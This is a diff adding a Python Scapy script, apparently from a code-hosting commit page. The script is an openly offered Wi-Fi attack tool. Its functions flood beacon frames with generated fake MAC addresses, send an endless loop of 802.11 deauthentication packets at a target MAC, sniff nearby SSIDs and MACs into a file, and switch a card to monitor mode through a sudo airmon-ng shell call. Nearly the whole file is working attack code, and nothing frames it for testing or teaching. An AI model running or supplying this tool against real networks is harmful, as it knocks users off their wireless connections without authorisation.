|
| 1 | +''' |
| 2 | +@author:jiushi |
| 3 | +@time:2019/1/4 |
| 4 | +''' |
| 5 | +#-*-coding:utf-8-*- |
| 6 | +from scapy.all import * |
| 7 | +import optparse |
| 8 | +import os |
| 9 | + |
| 10 | +banner=""" |
| 11 | +signature:今生今世非你不娶 |
| 12 | +""" |
| 13 | +print(banner) |
| 14 | +print('[!] Reminder: This tool needs to install the airmon-ng tool.') |
| 15 | +print('') |
| 16 | +print('') |
| 17 | +print('1.Generate a large number of mac addresses for flood attacks') |
| 18 | +print('2.Dot11Deauch attack') |
| 19 | +print('3.SSID and MAC scan') |
| 20 | +print('4.NIC open monitor mode') |
| 21 | +print('') |
| 22 | +print('') |
| 23 | + |
| 24 | +mac_list=[] |
| 25 | +ssid_list=[] |
| 26 | + |
| 27 | +def main(): |
| 28 | + parser=optparse.OptionParser() |
| 29 | + parser.add_option('-r',dest='rmac',help='rhost_mac') |
| 30 | + parser.add_option('-m',dest='macaddresses',help='mac addresses',action='store_true') |
| 31 | + parser.add_option('-d',dest='deauch',help='Deauch attack',action='store_true') |
| 32 | + parser.add_option('-s',dest='scan',help='ssid and macscan',action='store_true') |
| 33 | + parser.add_option('-f',dest='iface',help='network iface',action='store') |
| 34 | + parser.add_option('-t',dest='start',help='nic open monitor mode',action='store_true') |
| 35 | + (options,args)=parser.parse_args() |
| 36 | + if options.macaddresses and options.iface and options.rmac: |
| 37 | + ifaces=options.iface |
| 38 | + rsmac=options.rmac |
| 39 | + mac_addresses(ifaces,rsmac) |
| 40 | + elif options.deauch and options.iface and options.rmac: |
| 41 | + iface2=options.iface |
| 42 | + rs2mac=options.rmac |
| 43 | + attack(iface2,rs2mac) |
| 44 | + elif options.scan and options.iface: |
| 45 | + iface3=options.iface |
| 46 | + xj=open('save.txt','w') |
| 47 | + xj.close() |
| 48 | + print('[+] SSID scan:') |
| 49 | + print('[!] Ctrl+C stop') |
| 50 | + print('') |
| 51 | + print('') |
| 52 | + sniff(iface=iface3,prn=scan) |
| 53 | + elif options.start and options.iface: |
| 54 | + iface0=options.iface |
| 55 | + start(iface0) |
| 56 | + else: |
| 57 | + parser.print_help() |
| 58 | + exit() |
| 59 | + |
| 60 | +def mac_addresses(iface1,rsmac): |
| 61 | + print('[+] mac_addresses') |
| 62 | + print('') |
| 63 | + n=[] |
| 64 | + m=[] |
| 65 | + for k in range(65, 71): |
| 66 | + n.append(chr(k)) |
| 67 | + |
| 68 | + for q in range(0, 9): |
| 69 | + m.append(q) |
| 70 | + for v in n: |
| 71 | + for l in m: |
| 72 | + for k in n: |
| 73 | + for w in m: |
| 74 | + for s in n: |
| 75 | + for mq in m: |
| 76 | + for q in n: |
| 77 | + for p in m: |
| 78 | + for o in n: |
| 79 | + for g in m: |
| 80 | + for we in n: |
| 81 | + for wq in m: |
| 82 | + macss = "{}{}:{}{}:{}{}:{}{}:{}{}:{}{}".format(v, l, k, w, s, mq, q,p, o, g, we, wq) |
| 83 | + data=RadioTap()/Dot11(subtype=11,addr1="ff:ff:ff:ff:ff:ff",addr2="{}".format(macss),addr3=rsmac,addr4=rsmac)/Dot11Beacon(timestamp=70180) |
| 84 | + sendp(data,iface=iface1) |
| 85 | + |
| 86 | +def attack(iface2,rs2mac): |
| 87 | + print('[+] Dot11Deauth attak') |
| 88 | + print('') |
| 89 | + while True: |
| 90 | + data2=RadioTap()/Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=rs2mac,addr3=rs2mac)/Dot11Deauth() |
| 91 | + data3=RadioTap()/Dot11(addr1=rs2mac,addr2="ff:ff:ff:ff:ff:ff",addr3="ff:ff:ff:ff:ff:ff")/Dot11Deauth() |
| 92 | + sendp(data2,iface=iface2) |
| 93 | + sendp(data3,iface=iface2) |
| 94 | + |
| 95 | +def scan(jianting): |
| 96 | + if jianting.haslayer(Dot11Elt): |
| 97 | + if jianting.type==0 and jianting.subtype==8: |
| 98 | + if not jianting.addr2 in mac_list: |
| 99 | + mac_list.append(jianting.addr2) |
| 100 | + ssid_list.append(jianting.info) |
| 101 | + print('[+] MAC:{} SSID:{}'.format(jianting.addr2,bytes.decode(jianting.info,encoding='utf-8'))) |
| 102 | + print('MAC:{} SSID:{}'.format(jianting.addr2,bytes.decode(jianting.info,encoding='utf-8')),file=open('save.txt','a')) |
| 103 | + |
| 104 | +def start(iface0): |
| 105 | + print('[+] start mon') |
| 106 | + print('') |
| 107 | + print('') |
| 108 | + os.system('sudo airmon-ng start {}'.format(iface0)) |
| 109 | + |
| 110 | +if __name__ == '__main__': |
| 111 | + main() |
0 commit comments